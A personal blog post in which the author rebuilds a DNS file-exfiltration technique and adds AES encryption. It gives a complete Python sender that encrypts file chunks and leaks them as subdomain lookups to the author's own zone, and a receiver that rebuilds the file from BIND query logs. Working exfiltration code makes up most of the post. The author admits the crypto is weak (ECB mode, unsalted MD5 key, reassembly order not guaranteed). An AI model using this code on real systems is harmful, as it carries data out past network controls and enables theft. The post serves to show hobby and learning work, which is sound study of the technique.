File Exfiltration Through DNS + Pycrypto

Sometimes you come across someone elses blog and think that’s pretty cool I should go build that…. well I came across Exfiltrate Files With DNS and found it rather interesting – the link can be found here http://16s.us/dns/. I decided that I really wanted to build this and make it work. I already have a cloud server and a domain name so it was just a case of creating a subzone and redirecting requests to the subzone(dns name server). I then installed BIND9 on my cloud server to answer the requests when they come in to the subzone.

I only encountered one issue when building the solution and that was that the parsing of the reassemble script was capturing the wrong string during the FQDN split. This was trivial to fix and I carried on and got a working solution that was transferring files which by the way is just awesome!!

I have been messing with python and was looking for something to play with so decided that it might be quite cool to implement an encryption phase that then requires a key to decrypt the file on the other side.

The downsides:

Both sides need to support python-dev and pycrypto…. well in my amendments to the script.

The upside:

An encrypted chat service or method for moving files should all the prereqs be met. As this is me just messing around I am happy to have as many prereqs as required to run the program.

So with the same base infrastructure in place and pycrypto installed on either end I put togeather the following:

The following script encrypts the data and encodes in base64 before sending across in a domain request.

#!/usr/bin/env python

from Crypto.Cipher import AES

import base64

import socket

from Crypto.Hash import MD5

 

DNS_ZONE = “file.hackwhackandsmack.com”

socket.setdefaulttimeout(1)

 

#static password can be taken as an input later

password = (‘Works for me!!’)

#generate a 32 bit key

secret = MD5.new(password).hexdigest()

 

#specify blocksize

BLOCK_SIZE = 32

#padding character

PADDING = ‘A’

pad = lambda s: s + (BLOCK_SIZE – len(s) % BLOCK_SIZE) * PADDING

EncodeAES = lambda c, s: base64.urlsafe_b64encode(c.encrypt(pad(s)))

 

cipher = AES.new(secret)

 

def break_file(filename):

try:

fp = file(filename, ‘rb’)

part = 0

while 1:

data = fp.read(32)

if data:

try:

encoded = EncodeAES(cipher, data)

part = part+1

print part

print ‘Encrypted string:’, encoded

socket.gethostbyname(encoded + DNS_ZONE)

except Exception:

continue

else:

print “Complete”

break

fp.close()

except Exception, e:

print e

 

#run

break_file(‘test.txt’)

##EOF##

 

To reassemble on the other side I used the following code:

 

from Crypto.Cipher import AES

import base64

from Crypto.Hash import MD5

 password = (‘Works for me!!’)

secret = MD5.new(password).hexdigest()

BLOCK_SIZE = 32

PADDING = ‘A’

pad = lambda s: s + (BLOCK_SIZE – len(s) % BLOCK_SIZE) * PADDING

DecodeAES = lambda c, e: c.decrypt(base64.urlsafe_b64decode(e)).rstrip(PADDING)

cipher = AES.new(secret)

file_chunks = []

def back(chunk):

encoded = chunk.split(“.”)[0]

decoded = DecodeAES(cipher, encoded)

file_chunks.append(decoded)

queries = []

fp = open(“log-encrypt.txt”)

lines = fp.readlines()

fp.close()

 

for line in lines:

if “file.hackwhackandsmack.com” in line:

if “cache” in line:

FQDN = line.split()[9]

queries.append(FQDN.strip())

 

uqueries = set(queries)

 for i in uqueries:

back(i)

 file_list = reversed(file_chunks)

file = “”.join(file_list)

print file

##EOF##

 

This is definetly not the best implementation of AES but it works and meets my minimum requirements that I set out at the start. Time at the moment will impact any further improvement in the near future.

  • Improvements would include:
  • Adding a salt to the password hash.
  • Adding an IV or nonce to the encryption algorithm.
  • Change encryption mode from default ECB.
  • Reading multiple files into the same logfile by using start and end of file markers.

I also really liked the ‘part’ section that was initially used to mark out the placement of the file chunks in the correct order. On myscript I just reverse the order of the array and pray to god that it comes through in the correct order ;-P

A demo of my script then:

The first screenshot details the initial running of the script and some verbose log messages of the file chunks:

 

 

 

The following is a screenshot of the logs taken from the bind service (this is just a section of the log file):

 

 

Lastly lets decrypt the file generated from the logs:

 

 

 

Hope this is useful to someone. Enjoy

Leave a comment

Your email address will not be published. Required fields are marked *